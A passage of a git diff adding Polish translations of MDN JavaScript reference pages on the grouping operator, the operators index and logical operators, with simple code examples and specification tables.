+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/grouping/index.html b/files/pl/web/javascript/referencje/operatory/grouping/index.html
new file mode 100644
index 0000000000..5a076c3fb0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/grouping/index.html
@@ -0,0 +1,90 @@
+---
+title: Operator grupowania
+slug: Web/JavaScript/Referencje/Operatory/Grouping
+tags:
+ - JavaScript
+ - Operator
+translation_of: Web/JavaScript/Reference/Operators/Grouping
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Operator grupowania <code>( )</code> pozwala na określenie kolejności wykonywania działań w wyrażeniach.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"> ( )</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Operator grupowania składa się z pary nawiasów otaczających wyrażenie lub podwyrażenie. Pozwala na nadpisanie standardowego <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w">pierwszeństwa operatorów</a>, tak że wyrażenia z niższym piorytetem mogą być wykonane przed wyrażeniami z wyższym priorytetem. Zgodnie z nazwą, operator ten grupuje wyrażenia znajdujące się w nawiasach.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Nadpisanie zasady wykonywania mnożenia i dzielenia przed dodawaniem i odejmowaniem w taki sposób, by dodawanie wykonane było jako pierwsze.</p>
+
+<pre class="brush:js">var a = 1;
+var b = 2;
+var c = 3;
+
+// domyślna kolejność
+a + b * c // 7
+// wykonywana domyślnie w taki sposób
+a + (b * c) // 7
+
+// zmiana kolejności wykonywania działań
+// dodawanie przed mnożeniem
+(a + b) * c // 9
+
+// co odpowiada wyrażeniu
+a * c + b * c // 9
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.1.4', 'The Grouping Operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.operators.grouping")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w">Pierwszeństwo operatorów</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/index.html b/files/pl/web/javascript/referencje/operatory/index.html
new file mode 100644
index 0000000000..016c55af35
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/index.html
@@ -0,0 +1,282 @@
+---
+title: Operatory
+slug: Web/JavaScript/Referencje/Operatory
+tags:
+ - JavaScript
+ - Operators
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>This chapter documents all the JavaScript language operators, expressions and keywords.</p>
+
+<h2 id="Wyrażenia_i_operatory_w_podziale_na_kategorie">Wyrażenia i operatory w podziale na  kategorie</h2>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Lista_operatorów_w_kolejności_alfabetycznej_znajduje_sie_w_pasku_bocznym_po_lewej_stronie."><span style="font-size: 14px; font-weight: normal;">Lista operatorów w kolejności alfabetycznej znajduje sie w pasku bocznym po lewej stronie.</span></h2>
+
+<h3 id="Wyrażenia_podstawowe">Wyrażenia podstawowe</h3>
+
+<p>Podstawowe słowa kluczowe i wyrażenia w  JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Operator/this", "this")}}</dt>
+ <dd>Słowo <code>this</code> odnosi się do kontekstu wywołania.</dd>
+ <dt>{{jsxref("Operator/function", "function")}}</dt>
+ <dd>Słowo <code>function</code> umożliwia zdefniowanie wyrażenia funkcji .</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/class", "class")}}</dt>
+ <dd>Słowo <code>class</code> definiuje wyrażenie klasy.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/function*", "function*")}}</dt>
+ <dd>The <code>function*</code> keyword defines a generator function expression.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/yield", "yield")}}</dt>
+ <dd>Pause and resume a generator function</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/yield*", "yield*")}}</dt>
+ <dd>Delegate to another generator function or iterable object.</dd>
+ <dt>{{jsxref("Global_Objecty/Array", "[]")}}</dt>
+ <dd>Array initializer/literal syntax.</dd>
+ <dt>{{jsxref("Operatory/Object_initializer", "{}")}}</dt>
+ <dd>Object initializer/literal syntax.</dd>
+ <dt>{{jsxref("RegExp", "/ab+c/i")}}</dt>
+ <dd>Regular expression literal syntax.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/Array_comprehensions", "[for (x of y) x]")}}</dt>
+ <dd>Array comprehensions.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/Generator_comprehensions", "(for (x of y) y)")}}</dt>
+ <dd>Generator comprehensions.</dd>
+ <dt>{{jsxref("Operatory/Grouping", "( )")}}</dt>
+ <dd>Grouping operator.</dd>
+</dl>
+
+<h3 id="Left-hand-side_expressions">Left-hand-side expressions</h3>
+
+<p>Left values are the destination of an assignment.</p>
+
+<dl>
+ <dt>{{jsxref("Operatory/Property_accessors", "Property accessors", "", 1)}}</dt>
+ <dd>Member operators provide access to a property or method of an object<br>
+ (<code>object.property</code> and <code>object["property"]</code>).</dd>
+ <dt>{{jsxref("Operatory/new", "new")}}</dt>
+ <dd>The <code>new</code> operator creates an instance of a constructor.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/super", "super")}}</dt>
+ <dd>The <code>super</code> keyword calls the parent constructor.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/Spread_operator", "...obj")}}</dt>
+ <dd>The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.</dd>
+</dl>
+
+<h3 id="Increment_and_decrement">Increment and decrement</h3>
+
+<p>Postfix/prefix increment and postfix/prefix decrement operators.</p>
+
+<dl>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "A++", "#Inkrementacja")}}</dt>
+ <dd>Postfix increment operator.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "A--", "#Dekrementacja")}}</dt>
+ <dd>Postfix decrement operator.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "++A", "#Inkrementacja")}}</dt>
+ <dd>Prefix increment operator.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "--A", "#Dekrementacja")}}</dt>
+ <dd>Prefix decrement operator.</dd>
+</dl>
+
+<h3 id="Unary_operators">Unary operators</h3>
+
+<p>A unary operation is operation with only one operand.</p>
+
+<dl>
+ <dt>{{jsxref("Operatoryy/delete", "delete")}}</dt>
+ <dd>The <code>delete</code> operator deletes a property from an object.</dd>
+ <dt>{{jsxref("Operatory/void", "void")}}</dt>
+ <dd>The <code>void</code> operator discards an expression's return value.</dd>
+ <dt>{{jsxref("Operatory/typeof", "typeof")}}</dt>
+ <dd>The <code>typeof</code> operator determines the type of a given object.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Unary_plus")}}</dt>
+ <dd>The unary plus operator converts its operand to Number type.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Unary_negation")}}</dt>
+ <dd>The unary negation operator converts its operand to Number type and then negates it.</dd>
+ <dt>{{jsxref("Operatory/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt>
+ <dd>Bitwise NOT operator.</dd>
+ <dt>{{jsxref("Operatory/Logical_Operators", "!", "#Logical_NOT")}}</dt>
+ <dd>Logical NOT operator.</dd>
+</dl>
+
+<h3 id="Operatory_arytmetyczne">Operatory arytmetyczne</h3>
+
+<h3 id="Arithmetic_operators_take_numerical_values_(either_literals_or_variables)_as_their_operands_and_return_a_single_numerical_value."><span style="font-size: 14px;">Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.</span></h3>
+
+<dl>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Addition")}}</dt>
+ <dd>Addition operator.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Subtraction")}}</dt>
+ <dd>Subtraction operator.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "/", "#Division")}}</dt>
+ <dd>Division operator.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "*", "#Multiplication")}}</dt>
+ <dd>Multiplication operator.</dd>
+ <dt>{{jsxref("Operatory/Operatory_arytmetyczne", "%", "#Remainder")}}</dt>
+ <dd>Remainder operator.</dd>
+</dl>
+
+<h3 id="Operatory_porównania">Operatory porównania</h3>
+
+<p>Operator porównania, jak nazwa wskazuje, porównuje operandy  i zwraca wartość logiczną zależną od tego, czy wartość porównania jest prawdziwa. </p>
+
+<dl>
+ <dt>{{jsxref("Operatory/in", "in")}}</dt>
+ <dd>Operator <code>in</code> ustala, czy obiekt posiada daną właściwość.</dd>
+ <dt>{{jsxref("Operatory/instanceof", "instanceof")}}</dt>
+ <dd>Operator <code>instanceof</code> ustala czy obiekt jest instancją innego obiektu.</dd>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "&lt;", "#Less_than_operator")}}</dt>
+ <dd>Less than operator.</dd>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "&gt;", "#Greater_than_operator")}}</dt>
+ <dd>Greater than operator.</dd>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "&lt;=", "#Less_than_or_equal_operator")}}</dt>
+ <dd>Less than or equal operator.</dd>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "&gt;=", "#Greater_than_or_equal_operator")}}</dt>
+ <dd>Greater than or equal operator.</dd>
+</dl>
+
+<h3 id="Equality_operators">Equality operators</h3>
+
+<p>The result of evaluating an equality operator is always of type <code>Boolean</code> based on whether the comparison is true.</p>
+
+<dl>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "==", "#Equality")}}</dt>
+ <dd>Equality operator.</dd>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "!=", "#Inequality")}}</dt>
+ <dd>Inequality operator.</dd>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "===", "#Identity")}}</dt>
+ <dd>Identity operator.</dd>
+ <dt>{{jsxref("Operatory/Comparison_Operators", "!==", "#Nonidentity")}}</dt>
+ <dd>Nonidentity operator.</dd>
+</dl>
+
+<h3 id="Bitwise_shift_operators">Bitwise shift operators</h3>
+
+<p>Operations to shift all bits of the operand.</p>
+
+<dl>
+ <dt>{{jsxref("Operatory/Bitwise_Operators", "&lt;&lt;", "#Left_shift")}}</dt>
+ <dd>Bitwise left shift operator.</dd>
+ <dt>{{jsxref("Operatory/Bitwise_Operators", "&gt;&gt;", "#Right_shift")}}</dt>
+ <dd>Bitwise right shift operator.</dd>
+ <dt>{{jsxref("Operatory/Bitwise_Operators", "&gt;&gt;&gt;", "#Unsigned_right_shift")}}</dt>
+ <dd>Bitwise unsigned right shift operator.</dd>
+</dl>
+
+<h3 id="Binary_bitwise_operators">Binary bitwise operators</h3>
+
+<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.</p>
+
+<dl>
+ <dt>{{jsxref("Operatory/Bitwise_Operators", "&amp;", "#Bitwise_AND")}}</dt>
+ <dd>Bitwise AND.</dd>
+ <dt>{{jsxref("Operatory/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt>
+ <dd>Bitwise OR.</dd>
+ <dt>{{jsxref("Operatory/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt>
+ <dd>Bitwise XOR.</dd>
+</dl>
+
+<h3 id="Binary_logical_operators">Binary logical operators</h3>
+
+<p>Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.</p>
+
+<dl>
+ <dt>{{jsxref("Operatory/Logical_Operators", "&amp;&amp;", "#Logical_AND")}}</dt>
+ <dd>Logical AND.</dd>
+ <dt>{{jsxref("Operatory/Logical_Operators", "||", "#Logical_OR")}}</dt>
+ <dd>Logical OR.</dd>
+</dl>
+
+<h3 id="Conditional_(ternary)_operator">Conditional (ternary) operator</h3>
+
+<dl>
+ <dt>{{jsxref("Operatory/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt>
+ <dd>
+ <p>The conditional operator returns one of two values based on the logical value of the condition.</p>
+ </dd>
+</dl>
+
+<h3 id="Assignment_operators">Assignment operators</h3>
+
+<p>An assignment operator assigns a value to its left operand based on the value of its right operand.</p>
+
+<dl>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "=", "#Assignment")}}</dt>
+ <dd>Assignment operator.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt>
+ <dd>Multiplication assignment.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "/=", "#Division_assignment")}}</dt>
+ <dd>Division assignment.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt>
+ <dd>Remainder assignment.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "+=", "#Addition_assignment")}}</dt>
+ <dd>Addition assignment.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt>
+ <dd>Subtraction assignment</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "&lt;&lt;=", "#Left_shift_assignment")}}</dt>
+ <dd>Left shift assignment.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "&gt;&gt;=", "#Right_shift_assignment")}}</dt>
+ <dd>Right shift assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}</dt>
+ <dd>Unsigned right shift assignment.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "&amp;=", "#Bitwise_AND_assignment")}}</dt>
+ <dd>Bitwise AND assignment.</dd>
+ <dt>{{jsxref("OperatorsyAssignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt>
+ <dd>Bitwise XOR assignment.</dd>
+ <dt>{{jsxref("Operatory/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt>
+ <dd>Bitwise OR assignment.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+ {{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>
+ <p>Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.</p>
+ </dd>
+</dl>
+
+<h3 id="Comma_operator">Comma operator</h3>
+
+<dl>
+ <dt>{{jsxref("Operatory/Comma_Operator", ",")}}</dt>
+ <dd>The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.</dd>
+</dl>
+
+<h3 id="Non-standard_features">Non-standard features</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{jsxref("Operatory/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt>
+ <dd>The <code>function</code> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operatory/Expression_closures", "Expression closures", "", 1)}}</dt>
+ <dd>The expression closure syntax is a shorthand for writing simple function.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 1st Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>New: Spread operator, destructuring assignment, <code>super</code> keyword, Array comprehensions, Generator comprehensions</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Operator precedence</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/logical_operators/index.html b/files/pl/web/javascript/referencje/operatory/logical_operators/index.html
new file mode 100644
index 0000000000..ce5c7bc211
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/logical_operators/index.html
@@ -0,0 +1,253 @@
+---
+title: Operatory logiczne
+slug: Web/JavaScript/Referencje/Operatory/Logical_Operators
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>Operatory logiczne są zazwyczaj używane z wartościami typu {{jsxref("Boolean")}} (logicznymi) – wówczas zwracają również wartość typu logicznego. Jednakże operatory <code>&amp;&amp;</code> i <code>||</code> w istocie zwracają wartość jednego z podanych operandów, więc jeśli operatory te są używane z wartościami nie-boolowskimi, wtedy mogą również zwracać nie-boolowskie wartości.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}</div>
+
+
+
+<h2 id="Opis">Opis</h2>
+
+<p>Operatory logiczne są opisane w poniższej tabeli:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Operator</th>
+ <th>Użycie</th>
+ <th>Opis</th>
+ </tr>
+ <tr>
+ <td>Logiczne AND (<code>&amp;&amp;</code>)</td>
+ <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+ <td>Zwraca <code>expr1</code> jeśli wartość ta może być przekonwertowana na <code>false</code>, w przeciwnym razie zwraca <code>expr2</code>. Zatem, używany z wartościami typu logicznego, operator <code>&amp;&amp;</code> zwraca <code>true</code> jeśli obydwa operandy mają wartość <code>true</code>, w przeciwnym razie zwraca <code>false</code>.</td>
+ </tr>
+ <tr>
+ <td>Logiczne OR (<code>||</code>)</td>
+ <td><code><em>expr1</em> || <em>expr2</em></code></td>
+ <td>Zwraca <code>expr1</code>, jeśli wartość ta może być przekonwertowana na <code>true</code>; w przeciwnym razie zwraca <code>expr2</code>. Tak więc, używany z wartościami typu logicznego, operator <code>||</code> zwraca <code>true</code> którykolwiek z operandów równy jest <code>true</code>.</td>
+ </tr>
+ <tr>
+ <td>Logiczne NOT (<code>!</code>)</td>
+ <td><code>!<em>expr</em></code></td>
+ <td>Zwraca <code>false</code> jeśli jego operand można przekonwertować na <code>true</code>; w przeciwnym razie zwraca <code>true</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Jeśli dana wartość może być przekonwertowana na <code>true</code>, wówczas jest to tzw. wartość {{Glossary("truthy")}}. Jeśli dana wartość może być przekonwertowana na <code>false</code>, jest to tzw. wartość {{Glossary("falsy")}}.</p>
+
+<p>Przykładami wyrażeń, które mogą być przekonwertowane na <a href="/en-US/docs/Glossary/Falsy">false</a> są:</p>
+
+<ul>
+ <li><code>null</code>;</li>
+ <li><code>NaN;</code></li>
+ <li><code>0</code>;</li>
+ <li>pusty łańcuch znaków (string) – <code>""</code> lub <code>''</code>; </li>
+ <li><code>undefined</code>.</li>
+</ul>
+
+<p>Mimo tego, że operatory <code>&amp;&amp;</code> i <code>||</code> mogą być używane z wartościami nie-boolowskimi, nadal mogą być uznane za operatory boolowskie (logiczne), gdyż zwracane przez nie wartości mogą być zawsze przekonwertowane na wartości logiczne.</p>
+
+<h3 id="Ewaluacja_short-circuit">Ewaluacja <em>short-circuit</em></h3>
+
+<p>Ponieważ wyrażenia logiczne są przetwarzane od lewej do prawej, sprawdzana jest najkrótsza możliwa ścieżka, pozwalająca na zwrócenie wyniku całego wyrażenia (tzw. <em>short-circuit evaluation</em>), zgodnie z następującymi zasadami:</p>
+
+<ul>
+ <li><code>false &amp;&amp; (<em>cokolwiek)</em></code> zostanie przetworzone na false.</li>
+ <li><code>true || (<em>cokolwiek)</em></code> zostanie przetworzone na true.</li>
+</ul>
+
+<p>Zasady logiki gwarantują, że powyższe ewaluacje są zawsze poprawne. Zauważ, że części wyrażeń oznaczone słowem <code>cokolwiek</code> nie są ewaluowane, więc nie pojawią się żadne efekty uboczne. Zauważ też, że część <code>cokolwiek</code> powyższych wyrażeń może być dowolnym pojedynczym wyrażeniem logicznym (co wskazano przez nawiasy).</p>
+
+<p>Dla przykładu, poniższe dwie funkcje są równoważne.</p>
+
+<pre class="brush: js">function shortCircuitEvaluation() {
+  // logiczne OR (||)
+  doSomething() || doSomethingElse();
+
+  // logiczne AND (&amp;&amp;)
+  doSomething() &amp;&amp; doSomethingElse();
+}
+
+function equivalentEvaluation() {
+
+  // logiczne OR (||)
+  var orFlag = doSomething();
+  if (!orFlag) {
+    doSomethingElse();
+  }
+
+
+  // logiczne AND (&amp;&amp;)
+  var andFlag = doSomething();
+  if (andFlag) {
+  doSomethingElse();
+  }
+}
+</pre>
+
+<p>Poniższe wyrażenia nie są jednak równoważne ze względu na <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w">pierwszeństwo operatorów</a>, co podkreśla, jak ważne jest, by operator po prawej stronie był pojedynczym wyrażeniem (zgrupowanym w razie potrzeby przy pomocy nawiasów).</p>
+
+<pre class="brush: js">false &amp;&amp; true || true // zwraca true
+false &amp;&amp; (true || true) // zwraca false</pre>
+
+<h3 id="Logiczne_AND"><a id="Logiczne AND" name="Logiczne AND">Logiczne AND (<code>&amp;&amp;</code>)</a></h3>
+
+<p>Poniżej pokazane są przykłady użycia operatora <code>&amp;&amp;</code> (logicznego AND).</p>
+
+<pre class="brush: js">a1 = true &amp;&amp; true // t &amp;&amp; t zwraca true
+a2 = true &amp;&amp; false // t &amp;&amp; f zwraca false
+a3 = false &amp;&amp; true // f &amp;&amp; t zwraca false
+a4 = false &amp;&amp; (3 == 4) // f &amp;&amp; f zwraca false
+a5 = 'Cat' &amp;&amp; 'Dog' // t &amp;&amp; t zwraca "Dog"
+a6 = false &amp;&amp; 'Cat' // f &amp;&amp; t zwraca false
+a7 = 'Cat' &amp;&amp; false // t &amp;&amp; f zwraca false
+a8 = '' &amp;&amp; false // f &amp;&amp; f zwraca ""
+a9 = false &amp;&amp; '' // f &amp;&amp; f zwraca false
+</pre>
+
+<h3 id="Logiczne_OR"><a id="Logiczne OR" name="Logiczne OR">Logiczne OR (<code>||</code>)</a></h3>
+
+<p>Poniżej pokazane są przykłady użycia operatora <code>||</code> (logicznego OR).</p>
+
+<pre class="brush: js">o1 = true || true // t || t zwraca true
+o2 = false || true // f || t zwraca true
+o3 = true || false // t || f zwraca true
+o4 = false || (3 == 4) // f || f zwraca false
+o5 = 'Cat' || 'Dog' // t || t zwraca "Cat"
+o6 = false || 'Cat' // f || t zwraca "Cat"
+o7 = 'Cat' || false // t || f zwraca "Cat"
+o8 = '' || false // f || f zwraca false
+o9 = false || '' // f || f zwraca ""
+</pre>
+
+<h3 id="Logiczne_NOT_!"><a id="Logiczne NOT" name="Logiczne NOT">Logiczne NOT (<code>!</code>)</a></h3>
+
+<p>Poniżej pokazane są przykłady użycia operatora <code>!</code> (logicznego NOT).</p>
+
+<pre class="brush: js">n1 = !true // !t zwraca false
+n2 = !false // !f zwraca true
+n3 = !'Cat' // !t zwraca false
+</pre>
+
+<h4 id="Podwójne_NOT_!!">Podwójne NOT (<code>!!</code>)</h4>
+
+<p>Jest możliwe użycie kilku operatorów NOT naraz, by wprost wymusić konwersję dowolnej wartości do odpowiedniej wartości <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type">boolowskiej</a>. Konwersja bazuje na „prawdziwości” lub „fałszywości” wartości (zobacz {{Glossary("truthy")}} i {{Glossary("falsy")}}).</p>
+
+<p>Taka sama konwersja może być dokonana poprzez funkcję {{jsxref("Boolean")}}.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">n1 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="boolean token">true</span> <span class="comment token">// !!prawda zwraca true</span>
+n2 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="punctuation token">{</span><span class="punctuation token">}</span> <span class="comment token">// !!prawda returns true: każdy obiekt jest "prawdą"...</span>
+n3 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Boolean</span><span class="punctuation token">(</span><span class="boolean token">false</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="comment token">// ...nawet obiekty booloweskie z false jako wartością .valueOf()!</span>
+n4 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="boolean token">false</span> <span class="comment token">// !!fałsz zwraca false</span>
+n5 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="string token">""</span> <span class="comment token">// !!fałsz zwraca false</span>
+n6 <span class="operator token">=</span> <span class="operator token">!</span><span class="operator token">!</span><span class="function token">Boolean</span><span class="punctuation token">(</span><span class="boolean token">false</span><span class="punctuation token">)</span> <span class="comment token">// !!fałsz zwraca false</span></code></pre>
+
+<h3 id="Zasady_przekształcania_wyrażeń">Zasady przekształcania wyrażeń</h3>
+
+<h4 id="Przekształcanie_AND_na_OR">Przekształcanie AND na OR</h4>
+
+<p>Poniższa operacja na wartościach logicznych:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; bCondition2</pre>
+
+<p>jest zawsze równa:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre>
+
+<h4 id="Przekształcanie_OR_na_AND">Przekształcanie OR na AND</h4>
+
+<p>Poniższa operacja na wartościach logicznych:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2</pre>
+
+<p>jest zawsze równa:</p>
+
+<pre class="brush: js">!(!bCondition1 &amp;&amp; !bCondition2)</pre>
+
+<h4 id="Przekształcanie_NOT">Przekształcanie NOT</h4>
+
+<p>Poniższa operacja na wartościach logicznych:</p>
+
+<pre class="brush: js">!!bCondition</pre>
+
+<p>jest zawsze równa:</p>
+
+<pre class="brush: js">bCondition</pre>
+
+<h3 id="Usuwanie_zagnieżdżonych_wyrażeń_z_nawiasami">Usuwanie zagnieżdżonych wyrażeń z nawiasami</h3>
+
+<p>Jako że wyrażenia logiczne są ewaluowane od lewej do prawej, jest zawsze możliwe usunięcie nawiasów ze złożonego wyrażenia przy użyciu pewnych, przedstawionych dalej, reguł.</p>
+
+<h4 id="Usuwanie_zagnieżdżonego_AND">Usuwanie zagnieżdżonego AND</h4>
+
+<p>Następujące wyrażenie złożone na wartościach logicznych:</p>
+
+<pre class="brush: js">bCondition1 || (bCondition2 &amp;&amp; bCondition3)</pre>
+
+<p>jest zawsze równe:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2 &amp;&amp; bCondition3</pre>
+
+<h4 id="Usuwanie_zagnieżdżonego_OR">Usuwanie zagnieżdżonego OR</h4>
+
+<p>Następujące wyrażenie złożone na wartościach logicznych:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; (bCondition2 || bCondition3)</pre>
+
+<p>jest zawsze równe:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2 &amp;&amp; !bCondition3)</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Uwagi</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.11')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td>
